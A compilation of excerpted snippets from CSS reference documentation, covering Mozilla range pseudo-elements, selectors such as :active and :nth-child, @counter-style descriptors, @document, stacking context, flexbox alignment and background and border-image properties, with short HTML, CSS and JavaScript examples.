::-moz-range-progress - CSS: Cascading Style Sheets
the ::-moz-range-progress css pseudo-element is a mozilla extension that represents the lower portion of the track (i.e., groove) in which the indicator slides in an <input> of type="range".
... note: using ::-moz-range-progress with anything but an <input type="range"> doesn't match anything and has no effect.
... syntax ::-moz-range-progress examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-progress { background-color: green; height: 1em; } result a progress bar using this style might look something like this: specifications not part of any standard.
::-moz-range-thumb - CSS: Cascading Style Sheets
the ::-moz-range-thumb css pseudo-element is a mozilla extension that represents the thumb (i.e., virtual knob) of an <input> of type="range".
... note: using ::-moz-range-thumb with anything but an <input type="range"> doesn't match anything and has no effect.
... syntax ::-moz-range-thumb examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-thumb { background-color: green; } result a progress bar using this style might look something like this: specifications not part of any standard.
::-moz-range-track - CSS: Cascading Style Sheets
the ::-moz-range-track css pseudo-element is a mozilla extension that represents the track (i.e., groove) in which the indicator slides in an <input> of type="range".
... note: using ::-moz-range-track with anything but an <input type="range"> doesn't match anything and has no effect.
... syntax ::-moz-range-track examples html <input type="range" min="0" max="100" step="5" value="50"/> css input[type=range]::-moz-range-track { background-color: green; } result a progress bar using this style might look something like this: specifications not part of any standard.
::slotted() - CSS: Cascading Style Sheets
WebCSS::slotted
in this demo we use a simple template with three slots: <template id="person-template"> <div> <h2>personal id card</h2> <slot name="person-name">name missing</slot> <ul> <li><slot name="person-age">age missing</slot></li> <li><slot name="person-occupation">occupation missing</slot></li> </ul> </div> </template> a custom element — <person-details> — is defined like so: customelements.define('person-details', class extends htmle...
... the element looks like this when inserted into the page: <person-details> <p slot="person-name">dr.
... shazaam</p> <span slot="person-age">immortal</span> <span slot="person-occupation">superhero</span> </person-details> specifications specification status comment css scoping module level 1the definition of '::slotted' in that specification.
:active - CSS: Cascading Style Sheets
WebCSS:active
when using a mouse, "activation" typically starts when the user presses down the primary mouse button.
... syntax :active examples active links html <p>this paragraph contains a link: <a href="#">this link will turn red while you click on it.</a> the paragraph will get a gray background while you click on it or the link.
... </p> css a:link { color: blue; } /* unvisited links */ a:visited { color: purple; } /* visited links */ a:hover { background: yellow; } /* hovered links */ a:active { color: red; } /* active links */ p:active { background: #eee; } /* active paragraphs */ result active form elements html <form> <label for="my-button">my button: </label> <button id="my-button" type="button">try clicking me or my label!</button> </form> css form :active { color: red; } form button { background: white; } result specifications specification status comment html living standardthe definition of ':active' in that specification.
:default - CSS: Cascading Style Sheets
WebCSS:default
what this selector matches is defined in html standard §4.16.3 pseudo-classes — it may match the <button>, <input type="checkbox">, <input type="radio">, and <option> elements: a default option element is the first one with the selected attribute, or the first enabled option in dom order.
... <input type="checkbox"> and <input type="radio"> match if they have the checked attribute.
... syntax :default examples html <fieldset> <legend>favorite season</legend> <input type="radio" name="season" id="spring"> <label for="spring">spring</label> <input type="radio" name="season" id="summer" checked> <label for="summer">summer</label> <input type="radio" name="season" id="fall"> <label for="fall">fall</label> <input type="radio" name="season" id="winter"> <label for="winter">winter</label> </fieldset> css input:default { box-shadow: 0 0 2px 1px coral; } input:default + label { color: coral; } result specifications specification ...
:empty - CSS: Cascading Style Sheets
WebCSS:empty
/* selects any <div> that contains no content */ div:empty { background: lime; } syntax :empty examples html <div class="box"><!-- i will be lime.
... --></div> <div class="box">i will be pink.</div> <div class="box"> <!-- i will be pink in older browsers because of the whitespace around this comment.
... --> </div> <div class="box"> <p><!-- i will be pink in all browsers because of the non-collapsible whitespace and elements around this comment.
:nth-child() - CSS: Cascading Style Sheets
detailed example html <h3><code>span:nth-child(2n+1)</code>, without an <code>&lt;em&gt;</code> among the child elements.</h3> <p>children 1, 3, 5, and 7 are selected.</p> <div class="first"> <span>span 1!</span> <span>span 2</span> <span>span 3!</span> <span>span 4</span> <span>span 5!</span> <span>span 6</span> <span>span 7!</span> </div> <br> <h3><code>span:nth-child(2n+1)</code>, with an <code>&lt;em&gt;</code> among the child elements.</h3> <p>children 1, 5, and 7 are selected.<br> 3 is used in the counting because it is a child, but it isn't selec...
...ted because it isn't a <code>&lt;span&gt;</code>.</p> <div class="second"> <span>span!</span> <span>span</span> <em>this is an `em`.</em> <span>span</span> <span>span!</span> <span>span</span> <span>span!</span> <span>span</span> </div> <br> <h3><code>span:nth-of-type(2n+1)</code>, with an <code>&lt;em&gt;</code> among the child elements.</h3> <p>children 1, 4, 6, and 8 are selected.<br> 3 isn't used in the counting or selected because it is an <code>&lt;em&gt;</code>, not a <code>&lt;span&gt;</code>, and <code>nth-of-type</code> only selects children of that type.
... the <code>&lt;em&gt;</code> is completely skipped over and ignored.</p> <div class="third"> <span>span!</span> <span>span</span> <em>this is an `em`.</em> <span>span!</span> <span>span</span> <span>span!</span> <span>span</span> <span>span!</span> </div> css html { font-family: sans-serif; } span, div em { padding: 5px; border: 1px solid green; display: inline-block; margin-bottom: 3px; } .first span:nth-child(2n+1), .second span:nth-child(2n+1), .third span:nth-of-type(2n+1) { background-color: lime; } result specifications specification status comment selectors level 4the definition of ':nth-child' in that specification.
:placeholder-shown - CSS: Cascading Style Sheets
html <input placeholder="type something here!"> css input { border: 1px solid black; padding: 3px; } input:placeholder-shown { border-color: teal; color: purple; font-style: italic; } result overflowing text when form fields are too small, placeholder text can get cropped in an undesirable way.
... html <input id="input1" placeholder="name, rank, and serial number"> <br><br> <input id="input2" placeholder="name, rank, and serial number"> css #input2:placeholder-shown { text-overflow: ellipsis; } result customized input field the following example highlights the branch and id code fields with a custom style.
... html <form id="test"> <p> <label for="name">enter student name:</label> <input id="name" placeholder="student name"/> </p> <p> <label for="branch">enter student branch:</label> <input id="branch" placeholder="student branch"/> </p> <p> <label for="sid">enter student id:</label> <input type="number" pattern="[0-9]{8}" title="8 digit id" id="sid" class="studentid" placeholder="8 digit id"/> </p> <input type="submit"/> </form> css input { background-color: #e8e8e8; color: black; } input.studentid:placeholder-shown { background-color: yellow; color: red; font-style: italic; } result specifications specification status comment selectors level 4the definition of ':placeholder-shown' in that specification.
:scope - CSS: Cascading Style Sheets
WebCSS:scope
javascript let paragraph = document.getelementbyid("para"); let output = document.getelementbyid("output"); if (paragraph.matches(":scope")) { output.innertext = "yep, the element is its own scope as expected!"; } html <p id="para"> this is a paragraph.
...</p> <p id="output"></p> result direct children a situation where the :scope pseudo-class prove to be useful is when you need to get direct descendant of an already retrieved element.
... javascript var context = document.getelementbyid('context'); var selected = context.queryselectorall(':scope > div'); document.getelementbyid('results').innerhtml = array.prototype.map.call(selected, function (element) { return '#' + element.getattribute('id'); }).join(', '); html <div id="context"> <div id="element-1"> <div id="element-1.1"></div> <div id="element-1.2"></div> </div> <div id="element-2"> <div id="element-2.1"></div> </div> </div> <p> selected elements ids : <span id="results"></span> </p> result specifications specification status comment selectors level 4the definition of ':scope' in that specification.
@charset - CSS: Cascading Style Sheets
WebCSS@charset
@charset "utf-8"; this at-rule is useful when using non-ascii characters in some css properties, like content.
... assume that the document is utf-8 syntax @charset "utf-8"; @charset "iso-8859-15"; where: charset is a <string> denoting the character encoding to be used.
... formal syntax @charset "<charset>"; examples valid and invalid charset declarations @charset "utf-8"; /* set the encoding of the style sheet to unicode utf-8 */ @charset 'iso-8859-15'; /* invalid, wrong quoting style used */ @charset "utf-8"; /* invalid, more than one space */ @charset "utf-8"; /* invalid, there is a character (a space) before the at-rule */ @charset utf-8; /* invalid, without ' or ", the charset is not a css <string> */ specifications ...
negative - CSS: Cascading Style Sheets
syntax /* <symbol> values */ negative: "-"; /* prepends '-' if value is negative */ negative: "(" ")"; /* surrounds value by '(' and ')' if it is negative */ values first <symbol> this symbol will be prepended to the representation when the counter is negative.
... formal definition related at-rule@counter-styleinitial value"-" hyphen-minuscomputed valueas specified formal syntax <symbol> <symbol>?where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...or> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples rendering negative counters html <ul class="list" start="-3"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style neg { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; negative: "(-" ")"; } .list { list-style: neg; } result specifications specification status comment css counter styles level 3the definition of 'system' in that ...
pad - CSS: Cascading Style Sheets
syntax pad: 3 "0"; values <integer> && <symbol> the <integer> specifies a minimum length that all counter representations must reach.
... formal definition related at-rule@counter-styleinitial value0 ""computed valueas specified formal syntax <integer> && <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...op> = <color> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples padding a counter html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style pad-example { system: numeric; symbols: "0" "1" "2" "3" "4" "5"; pad: 2 "0"; } .list { list-style: pad-example; } result specifications specification status comment css counter styles level 3the definition of 'pad' in that specification.
symbols - CSS: Cascading Style Sheets
this must be one of the following data types: <string> <image> (note: this value is "at risk" and may be removed from the specification.
... symbols: a b c d e; symbols: "\24b6" "\24b7" "\24b8" d e; symbols: "0" "1" "2" "4" "5" "6" "7" "8" "9"; symbols: url('first.svg') url('second.svg') url('third.svg'); symbols: indic-numbers; the symbols descriptor must be specified when the value of the system descriptor is cyclic, numeric, alphabetic, symbolic, or fixed.
...<color> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting counter symbols html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style symbols-example { system: fixed; symbols: a "1" "\24b7" d e; } .list { list-style: symbols-example; } result specifications specification status comment css counter styles level 3the definition of 'symbols' in that specification.
@counter-style - CSS: Cascading Style Sheets
@counter-style thumbs { system: cyclic; symbols: "\1f44d"; suffix: " "; } ul { list-style: thumbs; } the initial version of css defined a set of useful counter styles.
... @counter-style winners-list { system: fixed; symbols: url(gold-medal.svg) url(silver-medal.svg) url(bronze-medal.svg); suffix: " "; } additive-symbols while the symbols specified in the symbols descriptor is used for constructing marker representation by most algorithms, some systems such as 'additive' rely on additive tuples described in this descriptor.
...<suffix>; ] | [ range: <range>; ] | [ pad: <padding>; ] | [ speak-as: <speak-as>; ] | [ fallback: <counter-style-name>; ] }where <counter-style-name> = <custom-ident> examples specifying symbols with counter-style @counter-style circled-alpha { system: fixed; symbols: Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ; suffix: " "; } the above counter style rule can be applied to lists like this: .items { list-style: circled-alpha; } which will produce lists like this: Ⓐ one Ⓑ two Ⓒ three Ⓓ four Ⓔ five ...
@document - CSS: Cascading Style Sheets
WebCSS@document
@document url("https://www.example.com/") { h1 { color: green; } } syntax an @document rule can specify one or more matching functions.
... formal syntax @document [ <url> | url-prefix(<string>) | domain(<string>) | media-document(<string>) | regexp(<string>) ]# { <group-rule-body> } examples specifying document for css rule @document url("http://www.w3.org/"), url-prefix("http://www.w3.org/style/"), domain("mozilla.org"), media-document("video"), regexp("https:.*") { /* css rules here apply to: - the page "http://www.w3.org/" - any page whose url begins with "http://www.w3.org/style/" - any page whose url's host is "mozilla.org" or ends with ".mozilla.org" - any s...
...tandalone video - any page whose url starts with "https:" */ /* make the above-mentioned pages really ugly */ body { color: purple; background: yellow; } } specifications initially in css conditional rules module level 3, @document has been postponed to level 4.
font-stretch - CSS: Cascading Style Sheets
for truetype or opentype variable fonts, the "wdth" variation is used to implement varying widths.
... for truetype or opentype variable fonts, the "wdth" variation is used to implement varying glyph widths.
... @font-face { font-family: "open sans"; src: local("open sans") format("woff2"), url("/fonts/opensans-regular-webfont.woff") format("woff"); font-stretch: 87.5% 112.5%; } specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification.
font-weight - CSS: Cascading Style Sheets
for truetype or opentype variable fonts, the "wght" variation is used to implement varying weights.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.8 | w3c understanding wcag 2.0 formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax <font-weight-absolute>{1,2}where <font-weight-absolute> = normal | bold | <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[1,1000]> examples setting normal font weight in a @font-face rule the following finds a local open sans font or import it, and allows using the font for normal font weights.
... @font-face { font-family: "open sans"; src: local("open sans") format("woff2"), url("/fonts/opensans-regular-webfont.woff") format("woff"); font-weight: 400; } specifications specification status comment css fonts module level 4the definition of 'font-weight' in that specification.
scripting - CSS: Cascading Style Sheets
WebCSS@mediascripting
examples html <p class="script-none">you do not have scripting available.
... :-(</p> <p class="script-initial-only">your scripting is only enabled during the initial page load.
... weird.</p> <p class="script-enabled">you have scripting enabled!
OpenType font features guide - CSS: Cascading Style Sheets
the general syntax looks like this: .small-caps { font-feature-settings: "smcp", "c2sc"; } according to the specification you can either supply just the 4-character feature code or supply a 1 following the code (for enabling that feature) or a 0 (zero) to disable it.
... this is helpful if you have a feature like ligatures enabled by default but you would like to turn them off, like so: .no-ligatures { font-feature-settings: "liga" 0, "dlig" 0; } more on font-feature-settings codes 'the complete css demo for opentype features' (can't vouch for the truth of the name, but it's pretty big) a list of opentype features on wikipedia using css feature detection for implementation since not all properties are evenly implemented, it's good practice to set up your css using feature detection to utilize the correct properties, with font-feature-settings as the fallback.
... .small-caps { font-feature-settings: "smcp", "c2sc"; } @supports (font-variant-caps: all-small-caps) { .small-caps { font-feature-settings: normal; font-variant-caps: all-small-caps; } } ...
Consistent list indentation - CSS: Cascading Style Sheets
this list item has no marker (otherwise known as a "bullet") and is not yet part of a list itself.
...since this is an unordered list, we'll add traditional filled-circle "bullets," as shown in figure 4.
...what's key is that the markers are placed outside the "principal box" of the <li> elements, not the <ul>.
Stacking context example 2 - CSS: Cascading Style Sheets
example source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } #div2 { z-index: 2; } #div3 { z-index: 1; } #div4 { z-index: 10; } #div1,#div3 { height: 80px; position: relative; border: 1px dashed #669966; background-color: #ccffcc; padding-left: 5p...
...eight: 200px; top: 20px; left: 170px; border: 1px dashed #990000; background-color: #ffdddd; text-align: center; } #div4 { opacity: 0.8; position: absolute; width: 200px; height: 70px; top: 65px; left: 50px; border: 1px dashed #000099; background-color: #ddddff; text-align: left; padding-left: 10px; } </style></head> <body> <br /> <div id="div1"><br /> <span class="bold">div #1</span><br /> position: relative; <div id="div2"><br /> <span class="bold">div #2</span><br /> position: absolute;<br /> z-index: 2; </div> </div> <br /> <div id="div3"><br /> <span class="bold">div #3</span><br /> position: relative;<br /> z-index: 1; ...
... <div id="div4"><br /> <span class="bold">div #4</span><br /> position: absolute;<br /> z-index: 10; </div> </div> </body> </html> ...
The stacking context - CSS: Cascading Style Sheets
an easy way to figure out the rendering order of stacked elements along the z axis is to think of it as a "version number" of sorts, where child elements are minor version numbers underneath their parent's major version numbers.
...ked under an element with a z-index of 4, which results in a rendering order of 4.1 div #6 - z-index is 3, stacked under an element with a z-index of 4, which results in a rendering order of 4.3 div #4 - z-index is 6, stacked under an element with a z-index of 4, which results in a rendering order of 4.6 div #1 - z-index is 5 example html <div id="div1"> <h1>division element #1</h1> <code>position: relative;<br/> z-index: 5;</code> </div> <div id="div2"> <h1>division element #2</h1> <code>position: relative;<br/> z-index: 2;</code> </div> <div id="div3"> <div id="div4"> <h1>division element #4</h1> <code>position: relative;<br/> z-index: 6;</code> </div> <h1>division element #3</h1> <code>position: absolut...
...e;<br/> z-index: 4;</code> <div id="div5"> <h1>division element #5</h1> <code>position: relative;<br/> z-index: 1;</code> </div> <div id="div6"> <h1>division element #6</h1> <code>position: absolute;<br/> z-index: 3;</code> </div> </div> css * { margin: 0; } html { padding: 20px; font: 12px/20px arial, sans-serif; } div { opacity: 0.7; position: relative; } h1 { font: inherit; font-weight: bold; } #div1, #div2 { border: 1px dashed #696; padding: 10px; background-color: #cfc; } #div1 { z-index: 5; margin-bottom: 190px; } #div2 { z-index: 2; } #div3 { z-index: 4; opacity: 1; position: absolute; top: 40px; left: 180px; width: 330px; border: 1px dashed #900; background-color: #fdd; padding: 40px 20px 20px; } #div...
CSS values and units - CSS: Cascading Style Sheets
textual data types <custom-ident> pre-defined keywords as an <ident> <string> <url> text data types are either <string>, a quoted series of characters, or an <ident>, a "css identifier" which is an unquoted string.
...for example, the value of grid-area can be a <custom-ident>, so if we had a grid area named content we would use it without quotes: .item { grid-area: content; } in comparison, a data type that is a <string>, such as a string value of the content property, must be quoted: .item::after { content: "this is my content."; } while you can generally create any name you want, including using emojis, the identifier can't be none, unset, initial, or inherit, start with a digit or two dashes, and generally you don't want it to be any other pre-defined css keyword.
... .box { background-image: url("images/my-background.png"); } .box { background-image: url("https://www.exammple.com/images/my-background.png"); } the parameter for url() can be either quoted or unquoted.
Replaced elements - CSS: Cascading Style Sheets
replaced elements typical replaced elements are: <iframe> <video> <embed> <img> some elements are treated as replaced elements only in specific cases: <option> <audio> <canvas> <object> <applet> html spec also says that an <input> element can be replaced, because <input> elements of the "image" type are replaced elements similar to <img>.
... however, other form controls, including other types of <input> elements, are explicitly listed as non-replaced elements (the spec describes their default platform-specific rendering with the term "widgets").
...they are "anonymous" because they don't exist in the html markup.
align-content - CSS: Cascading Style Sheets
#item2 { background-color: #a0c8ff; min-height: 50px; } #item3 { background-color: #ffa08c; min-height: 40px; } #item4 { background-color: #ffff8c; min-height: 60px; } #item5 { background-color: #ff8cff; min-height: 70px; } #item6 { background-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row { margin-top: 10px; } html <div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> <div id="item4">4</div> <div id="item5">5</div> <div id="item6">6</div> </div> <div class="row"> <label for="display">display: </label> <select id="display"> <option value="flex">flex</option> <option value="grid">grid</option> </select> </div> <div class="row"> <label for...
...="values">align-content: </label> <select id="values"> <option value="normal">normal</option> <option value="stretch">stretch</option> <option value="flex-start">flex-start</option> <option value="flex-end">flex-end</option> <option value="center" selected>center</option> <option value="space-between">space-between</option> <option value="space-around">space-around</option> <option value="space-evenly">space-evenly</option> <option value="start">start</option> <option value="end">end</option> <option value="left">left</option> <option value="right">right</option> <option value="baseline">baseline</option> <option value="first baseline">first baseline</option> <option value="last baseline">last baseline</option> <option val...
...ue="safe center">safe center</option> <option value="unsafe center">unsafe center</option> <option value="safe right">safe right</option> <option value="unsafe right">unsafe right</option> <option value="safe end">safe end</option> <option value="unsafe end">unsafe end</option> <option value="safe flex-end">safe flex-end</option> <option value="unsafe flex-end">unsafe flex-end</option> </select> </div> javascript var values = document.getelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.aligncontent = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.val...
align-items - CSS: Cascading Style Sheets
#item2 { background-color: #a0c8ff; min-height: 50px; } #item3 { background-color: #ffa08c; min-height: 40px; } #item4 { background-color: #ffff8c; min-height: 60px; } #item5 { background-color: #ff8cff; min-height: 70px; } #item6 { background-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row { margin-top: 10px; } html <div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> <div id="item4">4</div> <div id="item5">5</div> <div id="item6">6</div> </div> <div class="row"> <label for="display">display: </label> <select id="display"> <option value="flex">flex</option> <option value="grid">grid</option> </select> </div> <div class="row"> <label for...
...="values">align-items: </label> <select id="values"> <option value="normal">normal</option> <option value="flex-start">flex-start</option> <option value="flex-end">flex-end</option> <option value="center" selected>center</option> <option value="baseline">baseline</option> <option value="stretch">stretch</option> <option value="start">start</option> <option value="end">end</option> <option value="self-start">self-start</option> <option value="self-end">self-end</option> <option value="left">left</option> <option value="right">right</option> <option value="first baseline">first baseline</option> <option value="last baseline">last baseline</option> <option value="safe center">safe center</option> <option value="unsafe center"...
...>unsafe center</option> <option value="safe right">safe right</option> <option value="unsafe right">unsafe right</option> <option value="safe end">safe end</option> <option value="unsafe end">unsafe end</option> <option value="safe self-end">safe self-end</option> <option value="unsafe self-end">unsafe self-end</option> <option value="safe flex-end">safe flex-end</option> <option value="unsafe flex-end">unsafe flex-end</option> </select> </div> javascript var values = document.getelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.alignitems = evt.target.value; }); display.addeventlistener('change', function (...
animation-timing-function - CSS: Cascading Style Sheets
formal definition initial valueeaseapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <timing-function>#where <timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-star...
...t | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none | jump-both | start | end examples cubic-bezier examples <div class="parent"> <div class="ease">ease</div> <div class="easein">ease-in</div> <div class="easeout">ease-out</div> <div class="easeinout">ease-in-out</div> <div class="linear">linear</div> <div class="cb">cubic-bezier(0.2,-2,0.8,2)</div> </div> .parent > div[class] { animation-name: changeme; animation-duration: 10s; animation-iteration-count: infinite; margin-bottom: 4px; } @keyframes changeme { 0% { min-width: 12em; width: 12em; background-color: black; border: 1px solid red; color: white; } 100% { width: 90vw; min-width: 24em; bac...
...; border: 1px solid orange; } } .ease { animation-timing-function: ease; } .easein { animation-timing-function: ease-in; } .easeout { animation-timing-function: ease-out; } .easeinout { animation-timing-function: ease-in-out; } .linear { animation-timing-function: linear; } .cb { animation-timing-function: cubic-bezier(0.2,-2,0.8,2); } step examples <div class="parent"> <div class="jump-start">jump-start</div> <div class="jump-end">jump-end</div> <div class="jump-both">jump-both</div> <div class="jump-none">jump-none</div> <div class="start">start</div> <div class="end">end</div> <div class="step-start">step-start</div> <div class="step-end">step-end</div> </div> .parent > div[class] { animation-name: changeme; animation-duration...
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
syntax /* css basic user interface module level 4 values */ appearance: none; appearance: auto; appearance: menulist-button; appearance: textfield; /* "compat-auto" values, which have the same effect as 'auto' */ appearance: button; appearance: searchfield; appearance: textarea; appearance: push-button; appearance: slider-horizontal; appearance: checkbox; appearance: radio; appearance: square-button; appearance: menulist; appearance: listbox; appearance: meter; appearance: progress-bar; /* partial list of available values in gecko */ -moz-appear...
... checkbox div { color: black; -moz-appearance: checkbox; -webkit-appearance: checkbox; } <div>lorem</div> firefox chrome safari edge the element is drawn like a checkbox, including only the actual "checkbox" portion.
...ari firefox push-button div{ color: black; -webkit-appearance: push-button; } <div>lorem</div> chrome safari edge radio div { color: black; -moz-appearance: radio; -webkit-appearance: radio; } <div>lorem</div> firefox chrome safari edge the element is drawn like a radio button, including only the actual "radio button" portion.
backface-visibility - CSS: Cascading Style Sheets
html <table> <tr> <th><code>backface-visibility: visible;</code></th> <th><code>backface-visibility: hidden;</code></th> </tr> <tr> <td> <div class="container"> <div class="cube showbf"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> <p> since all faces are partially transparent, the back...
... </p> </td> <td> <div class="container"> <div class="cube hidebf"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> <p> the three back faces (2, 4, 5) are hidden.
... </p> </td> </tr> </table> css /* classes that will show or hide the three back faces of the "cube" */ .showbf div { backface-visibility: visible; } .hidebf div { backface-visibility: hidden; } /* define the container div, the cube div, and a generic face */ .container { width: 150px; height: 150px; margin: 75px 0 0 75px; border: none; } .cube { width: 100%; height: 100%; perspective: 550px; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { background: rgba(0, 0, 0, 0.3); transfo...
background-image - CSS: Cascading Style Sheets
html <div> <p class="catsandstars"> this paragraph is full of cats<br />and stars.
... </p> <p>this paragraph is not.</p> <p class="catsandstars"> here are more cats for you.<br />look at them!
... </p> <p>and no more.</p> </div> css p { font-size: 1.5em; color: #fe7f88; background-image: none; background-color: transparent; } div { background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png"); } .catsandstars { background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-color: transparent; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-image' in that specification.
background - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size syntax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background: url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80% url("../img/image.png"); the background property is specified as one or more background layers, separated by commas.
... the syntax of each layer is as follows: each layer may include zero or one occurrences of any of the following values: <attachment> <bg-image> <position> <bg-size> <repeat-style> the <bg-size> value may only be included immediately after <position>, separated with the '/' character, like this: "center/80%".
...near-color-stop> = <color> <color-stop-length>?<linear-color-hint> = <length-percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting backgrounds with color keywords and images html <p class="topbanner"> starry sky<br/> twinkle twinkle<br/> starry sky </p> <p class="warning">here is a paragraph<p> css .warning { background: pink; } .topbanner { background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed; } result specifications specification status comment css backgrounds and borders module level 3the defi...
border-image - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: border-image-outset border-image-repeat border-image-slice border-image-source border-image-width syntax /* source | slice */ border-image: linear-gradient(red, blue) 27; /* source | slice | repeat */ border-image: url("/images/border.png") 27 space; /* source | slice | width */ border-image: linear-gradient(red, blue) 27 / 35px; /* source | slice | width | outset | repeat */ border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem round space; the border-image property may be specified with anywhere from one to five of the values listed below.
...the source for the border image is a ".png" file of 81 by 81 pixels, with three diamonds going vertically and horizontally: html <div id="bitmap">this element is surrounded by a bitmap-based border image!</div> css to match the size of a single diamond, we will use a value of 81 divided by 3, or 27, for slicing the image into corner and edge regions.
... #bitmap { width: 200px; background-color: #ffa; border: 36px solid orange; margin: 30px; padding: 10px; border-image: url("https://udn.realityripple.com/samples/2c/fa0192d18e.png") /* source */ 27 / /* slice */ 36px 28px 18px 8px / /* width */ 18px 14px 9px 4px /* outset */ round; /* repeat */ } result gradient html <div id="gradient">this element is surrounded by a gradient-based border image!</div> css #gradient { width: 200px; border: 30px solid; b...
box-decoration-break - CSS: Cascading Style Sheets
<span class="example">the<br>quick<br>orange fox</span> ...
...the second "im" has a line-break between the "i" and the "m".
... for comparison, the first "im" is without line breaks.
<dimension> - CSS: Cascading Style Sheets
WebCSSdimension
12"px" units are identifiers and therefore unquoted.
... 3sec the seconds unit is abbreviated "s" not "sec".
... recommendation initial definition under "length units" ...
<display-box> - CSS: Cascading Style Sheets
please note that the css display level 3 spec defines how the contents value should affect "unusual elements" — elements that aren’t rendered purely by css box concepts such as replaced elements.
... display: none html <p>visible text</p> <p class="secret">invisible text</p> css p.secret { display: none; } result display: contents in this example the outer <div> has a 2-pixel red border and a width of 300px.
... html <div class="outer"> <div>inner div.</div> </div> css .outer { border: 2px solid red; width: 300px; display: contents; } .outer > div { border: 1px solid green; } result specifications specification status css display module level 3the definition of 'display-box' in that specification.
display - CSS: Cascading Style Sheets
WebCSSdisplay
this section defines those "internal" display values, which only have meaning within that particular layout mode.
...please note that the css display level 3 spec defines how the contents value should affect "unusual elements" — elements that aren’t rendered purely by css box concepts such as replaced elements.
